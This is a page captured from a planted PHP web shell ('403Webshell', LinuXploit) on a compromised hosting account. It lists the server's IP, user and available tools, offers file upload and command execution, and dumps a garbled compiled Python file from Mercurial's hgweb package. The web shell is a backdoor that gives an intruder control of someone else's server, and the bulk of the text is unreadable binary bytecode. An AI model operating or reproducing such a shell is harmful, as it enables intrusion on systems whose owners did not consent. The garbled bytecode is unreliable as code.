403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/hgweb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/hgweb/__pycache__/wsgiheaders.cpython-313.pyc
�

6�h���^�SrSSKJr SSKr\R"S5rSSjr"SS5rg)	a0This was forked from cpython's wsgiref.headers module to work on bytes.

Header from old file showing copyright is below.

Much of this module is red-handedly pilfered from email.message in the stdlib,
so portions are Copyright (C) 2001,2002 Python Software Foundation, and were
written by Barry Warsaw.
�)�annotationsNs[ ()<>@,;:\\"/\[\]?=]c���Ub^[U5S:�aOU(d[RU5(a(URSS5RSS5nSX4-$SX4-$U$)zuConvenience function to format and return a key=value pair.
This will quote the value if needed or if quote is true.
r�\s\\�"z\"s%s="%s"s%s=%s)�len�	tspecials�search�replace)�param�value�quotes   �=/usr/lib/python3/dist-packages/mercurial/hgweb/wsgiheaders.py�_formatparamrsc��
��S��Z�!�^��I�$�$�U�+�+��M�M�%��1�9�9�$��F�E����.�.��u�n�,�,���c��\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSSjr
S
rSrSrSrSrSrSrSrSrg)�Headers�!z,Manage a collection of HTTP response headersNc��UbUO/n[U5[La[S5eXlUH'up#UR	U5 UR	U5 M) g)Ns+Headers must be a list of name/value tuples)�type�list�	TypeError�_headers�_convert_string_type)�self�headers�k�vs    r�__init__�Headers.__init__$sV��$�0�'�b����=��$��J�K�K��
������)�)�!�,��)�)�!�,� rc�X�[U5[LaU$[S[U5-5e)zConvert/check value type.z2Header names/values must be of type bytes (got %s))r�bytes�AssertionError�repr)rrs  rr�Headers._convert_string_type.s1����;�%���L��
&�(,�U��
4�
�	
rc�,�[UR5$)z9Return the total number of headers, including duplicates.)rr�rs r�__len__�Headers.__len__7s���4�=�=�!�!rc�~�X	URRURU5URU545 g)zSet the value of a header.N)r�appendr)r�name�vals   r�__setitem__�Headers.__setitem__;s7���J��
�
���
�
&�
&�t�
,�d�.G�.G��.L�M�	
rc���URUR55nURVs/sHo"SR5U:wdMUPM snURSS&gs snf)zhDelete all occurrences of a header, if present.
Does *not* raise an exception if the header is missing.
rN�r�lowerr�rr+�kvs   r�__delitem__�Headers.__delitem__BsM���(�(�����6��)-���P��2�Q�%�+�+�-�4�:O�B��P��
�
�a���Ps�A#�A#c�$�URU5$)aGet the first header value for 'name'
Return None if the header is missing instead of raising an exception.
Note that if the header appeared multiple times, the first exactly which
occurrence gets returned is undefined.  Use getall() to get all
the values matching a header field name.
��get�rr+s  r�__getitem__�Headers.__getitem__Is���x�x��~�rc�(�URU5SL$)z/Return true if the message contains the header.Nr7r9s  r�__contains__�Headers.__contains__Rs���x�x��~�T�)�)rc��URUR55nURVs/sH o"SR5U:XdMUSPM" sn$s snf)aHReturn a list of all the values for the named field.
These will be sorted in the order they appeared in the original header
list or were added to this instance, and may contain duplicates.  Any
fields deleted and re-inserted are always appended to the header list.
If no fields exist with the given name, returns an empty list.
r�r0r2s   r�get_all�Headers.get_allVsK���(�(�����6�� $�
�
�G�
�"�A�����$�1F���1��
�G�G��Gs�A�	Ac��URUR55nURHup4UR5U:XdMUs $ U$)z:Get the first header value for 'name', or return 'default'r0)rr+�defaultrrs     rr8�Headers.get`sB���(�(�����6���M�M�D�A��w�w�y�D� ���"��rc�P�URVVs/sHupUPM	 snn$s snnf)aReturn a list of all the header field names.
These will be sorted in the order they appeared in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
�r�rrrs   r�keys�Headers.keysh�"��#�m�m�,�m�d�a��m�,�,��,��"c�P�URVVs/sHupUPM	 snn$s snnf)z�Return a list of all header values.
These will be sorted in the order they appeared in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
rGrHs   r�values�Headers.valuesqrKrLc� �URSS$)z�Get all the header fields and values.
These will be sorted in the order they were in the original header
list, or were added to this instance, and may contain duplicates.
Any fields deleted and re-inserted are always appended to the header
list.
NrGr&s r�items�
Headers.itemszs���}�}�Q��rc�R�URR<SUR<S3$)N�(�))�	__class__�__name__rr&s r�__repr__�Headers.__repr__�s���>�>�2�2�D�M�M�B�Brc�t�SRURVs/sHnSU-PM
 snSS/-5$s snf)zcstr() returns the formatted headers, complete with end line,
suitable for direct HTTP transmission.s
s%s: %sr)�joinr)rr3s  r�__str__�Headers.__str__�s;���|�|�&*�m�m�4�m��Y��^�m�4��S�z�A�
�	
��4s�5c�6�[U5RS5$)Nz
iso-8859-1)�str�encoder&s r�	__bytes__�Headers.__bytes__�s���4�y����-�-rc��URU5nUc=URRURU5URU545 U$U$)z�Return first matching header value for 'name', or 'value'
If there is no header named 'name', add a new header with name 'name'
and value 'value'.)r8rr*r)rr+r�results    r�
setdefault�Headers.setdefault�sU�����$����>��M�M� � ��-�-�d�3��-�-�e�4��
��L��Mrc	���/nUb"URU5nURU5 UR5HxupVURU5nUc#URURSS55 M<URU5nUR[	URSS5U55 Mz UR
RURU5SR
U545 g)aExtended header setting.
_name is the header field to add.  keyword arguments can be used to set
additional parameters for the header field, with underscores converted
to dashes.  Normally the parameter will be added as key="value" unless
value is None, in which case only the key will be added.
Example:
h.add_header('content-disposition', 'attachment', filename='bud.gif')
Note that unlike the corresponding 'email.message' method, this does
*not* handle '(charset, language, value)' tuples: all values must be
strings or None.
N�_�-s; )rr*rQr
rrr[)r�_name�_value�_params�partsrrs       r�
add_header�Headers.add_header�s��������.�.�v�6�F��L�L�� ��M�M�O�D�A��)�)�!�,�A��y����Q�Y�Y�t�T�2�3��-�-�a�0�����\�!�)�)�D�$�*?��C�D�
$�	
�
�
���
�
&�
&�u�
-�u�z�z�%�/@�A�	
rrG)N)rW�
__module__�__qualname__�__firstlineno__�__doc__rrr'r-r4r:r=rAr8rIrNrQrXr\rarern�__static_attributes__�rrrr!s]��6�-�
�"�
�Q��*�H��-�-� �C�
�.�� 
rr)Nr@)rs�
__future__r�re�compilerrrrurr�<module>rys2���#�	��J�J�0�1�	��X
�X
r

Youez - 2016 - github.com/yon3zu
LinuXploit